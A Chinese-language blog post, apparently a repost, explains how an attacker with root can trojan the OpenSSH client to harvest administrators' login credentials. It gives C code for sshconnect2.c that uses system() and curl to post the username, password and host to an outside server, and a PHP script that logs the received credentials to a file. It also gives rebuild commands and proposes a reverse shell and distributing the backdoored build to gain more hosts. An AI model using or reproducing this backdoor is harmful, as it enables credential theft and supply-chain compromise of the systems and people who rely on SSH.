利用OPENSSH自身记录密码

大家都知道,OPENSSH是基于Linux下,一款开源,安全性不错的Linux SSH会话连接工具。

在渗透当中,当我们get root了。我们如何来记录Linux管理员登陆过的SSH?

想法如下:

1:更改OPENSSH源代码,记录到某个地方。

2:在更改源代码的前提下,将OPENSSH 记录到的账户密码POST/GET/传输到某个地方。

3:更改OPENSSH源代码,对内网进行扫描。将获得的账户密码,在Linux机器OPENSSH连接进行比对。如果成功就发送,如果失败就PASS。

4:如何获得更多的Linux肉鸡? 更改OPENSSH源代码,写成后门,然后发布。

测试中截图如下:

我们分析OPENSSH连接过程,然后找到可更改代码的地方,截取USERNAME和PASSWORD:

 

之后我们重新编译OPENSSH,事前需要看好版本,不过一般管理员对OPENSSH版本不会重视把?

如果管理员连接的OPENSSH:

 

 

我们将记录到密码。

-----------------------------------------------------------------------

如果你觉得这样达不到你的目的。

咱们可以加个反向连接shell,管理员每次一连接,就反向到你那儿去。或者一直把shell 反向都处于连接的状态。

------------------------------------------------------------------

也可以直接CURL到咱们的地方。

接受:

 

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$host = $_POST['Host'];

if(isset($username) != "" || isset($password) !="" || isset($host) != "")
{
        $fp = fopen("log.txt","a+");
        $result = "Username:.$username--->:Password:$password----->:Host:$host";
        fwrite($fp,$result);
        fwrite($fp,"\r\n");
        fclose($fp);
}
?>

 

POST:

 

        char szres[1024] = {0};
        memset(szres,0,sizeof(szres));
        snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"userName=%s&password=%s&Host=%s\" http://xxxxxx/xx.php >null",options.user,pass,get_remote_ipaddr());
        printf("Szres = %s.\r\n",szres);
        system(szres);
        

写的很仓促,代码路径这块没有经过判断之类的。毕竟我是以渗透出路的,代码写的很烂,还请见谅。

 

 

大概具体就是这样了,如果你觉得你已经知道了这个方法,或者你根本用不到。还请别打我。

刚才忘记说了,更改文件代码的文件名字是:

sshconnect2.c  //只要有认证的地方都可以改。

编译SSH命令如下:


./configure --prefix=/usr --sysconfdir=/etc/ssh

make ; make install

然后直接SSH命令用即可。

转载于:https://www.cnblogs.com/killbit/p/5101928.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值